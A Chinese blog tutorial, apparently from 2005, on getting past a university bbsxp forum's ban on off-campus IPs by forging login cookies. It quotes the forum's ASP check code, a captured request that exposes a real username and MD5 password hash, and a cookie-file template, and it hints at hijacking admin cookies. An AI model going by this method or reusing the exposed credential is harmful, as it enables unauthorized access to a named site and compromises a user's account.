教育部的一紙文件,國內各大高校的bbs一夜之間都被設置成只允許校內發帖。我們學校論壇是采用bbsxp(破論壇系統),本來由于服務器帶寬的原因,人氣就很低。管理員哥哥又封了校外的ip,不能登陸發帖。好多斑竹都是在用校園里的鐵通寬帶上網,還有些畢業了的,我們電腦版的可愛的echo,都進不來....(廢話一大堆)
OK讓我們開始。
論壇過濾 ip是在setup.asp這個頁,
if Request.Cookies("username") <> empty then
sql="select * from [user] where username='"&HTMLEncode(Request.Cookies("username"))&"'"
Set Rs=Conn.Execute(SQL)
if rs.eof then Response.Cookies("username")=""
if Request.Cookies("userpass") <> rs("userpass") then Response.Cookies("username")=""
membercode=rs("membercode")
userface=""&rs("userface")&""
newmessage=rs("newmessage")
userlife=rs("userlife")
set rs=nothing
end if
if Request.ServerVariables("HTTP_X_FORWARDED_FOR")=empty then
remoteaddr=Request.ServerVariables("REMOTE_ADDR")
else
remoteaddr=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if
if badip<>empty then
filtrate=split(badip,"|")
for i = 0 to ubound(filtrate)
if instr("|"&remoteaddr&"","|"&filtrate(i)&"") > 0 then response.redirect "inc/badip.htm"
next
end if
if Request.Cookies("skins")=empty then Response.Cookies("skins")=style
這段代碼就是setup.asp里驗證用戶這塊,先讀下吧.如果cookies不為空,則讀取數據庫驗證用戶的密碼是否正確,正確的話定義變量,把一些需要用到的變量全都用數據庫里讀出來的數據賦值。然后進行讀ip.如果ip屬于被封的,則導向badip.htm禁止發登陸。
我們學校的系統和這個代碼有出入,他們是自己改的代碼。把校外的ip 全封掉,不過都是在這個基礎上改的。他們的驗證是另外寫了一段代碼驗證的。應該是在登陸頁做的封ip段代碼,猜想是先判斷cookies是否是真的,如果存在的話就直接跳過驗證ip那段。如果為空的話,則用戶沒有登陸,然后才進行ip驗證。他們的思路應該是這樣。(沒辦法,不是我自己的系統,只能猜他們的封ip思路)導致過濾不嚴密。
如果個人文件中有cookies,系統就認為用戶已經登陸,而不再進行ip的驗證。這個就是我們今天破解被鎖ip登陸的關鍵之處。偽造cookies
GET /images/closedfold.gif HTTP/1.1
Accept: */*
Referer: http://bbs.glite.edu.cn/ShowForum.asp?forumid=31
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
If-Modified-Since: Wed, 15 May 2002 07:17:34 GMT
If-None-Match: "07b5995e0fbc11:17b1"
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)
Host: bbs.glite.edu.cn
Connection: Keep-Alive
Cookie: onlinetime=2005%2D5%2D28+14%3A43%3A04; addmin=60; ASPSESSIONIDACBSQCCT=LKFHJHECMPOOCDCPHEJIADHC; forumid=31; filename=%7C2005528131326%7C2005528134747; username=yuan8627; userpass=F1913EB31C9CA1F1341B1DC9DE069D8C; eremite=0
抓包顯示cookies內容,上線時間onlinetime 在線分鐘數addmin,看這段 username=yuan8627; userpass=F1913EB31C9CA1F1341B1DC9DE069D8C;。我們不得不又一次罵bbsxp這個論壇垃圾,用戶名和密碼都是數據庫中的,雖然經過md5加密。dvbbs中cookies里的密碼和數據庫中的密碼不一樣,分開驗證,所以偽造cookies幾乎不可能。bbsxp 中代碼的安全考慮不夠,還號稱國內最安全....如果有用戶而已劫持了斑竹或者是管理員的cookies,然后進行cookies偽造,前臺的權限可以刪除帖子,修改帖子,版塊。后果不堪設想。這個只留給有心的人了。
我們今天是要偽造個登陸過的cookies,然后突破ip封鎖。
不能進行登陸,所以不能用iecv.exe來進行編輯.cookies 修改的同時會修改目錄下的 index.dat這個文件{IE的索引文件,瀏覽的網頁越多暗藏的“index.dat”索引文件容量也就越大。此選項可以初始化index.dat文件。}我發現ie下有個導入導出cookies功能,所以先把自己的cookies導出,然后再用把用戶名和密碼替換成另外一個號的,然后再進行導入。發現成功了,cookies導入的同時修改了目錄下的index.dat 文件
所以,我們只需要自己把以前的cookies導出,然后在需要進入論壇的時候直接導入就可以自由的出入論壇了,再也沒有ip的限制。
我在鐵通的校外網上測試成功。
# Internet Explorer cookie file, exported for Netscape browsers.
bbs.glite.edu.cn TRUE / FALSE 1149109143 username 請用你的用戶名覆蓋
bbs.glite.edu.cn TRUE / FALSE 1149109143 userpass 請用你的經過加密的密碼覆蓋
bbs.glite.edu.cn TRUE / FALSE 1149109143 eremite 0
這個是導出的cookies文件內容,直接用自己的用戶名和經過MD5加密的密碼覆蓋,用ie導入就可以進入論壇了。
MD5是32加密,加密工具上網搜一下一大把。文章就寫到這里了,筆者水平有限,如果有什么需要斧正之處,歡迎到我的Blog上拍磚,地址是:http://531200.water2000.com/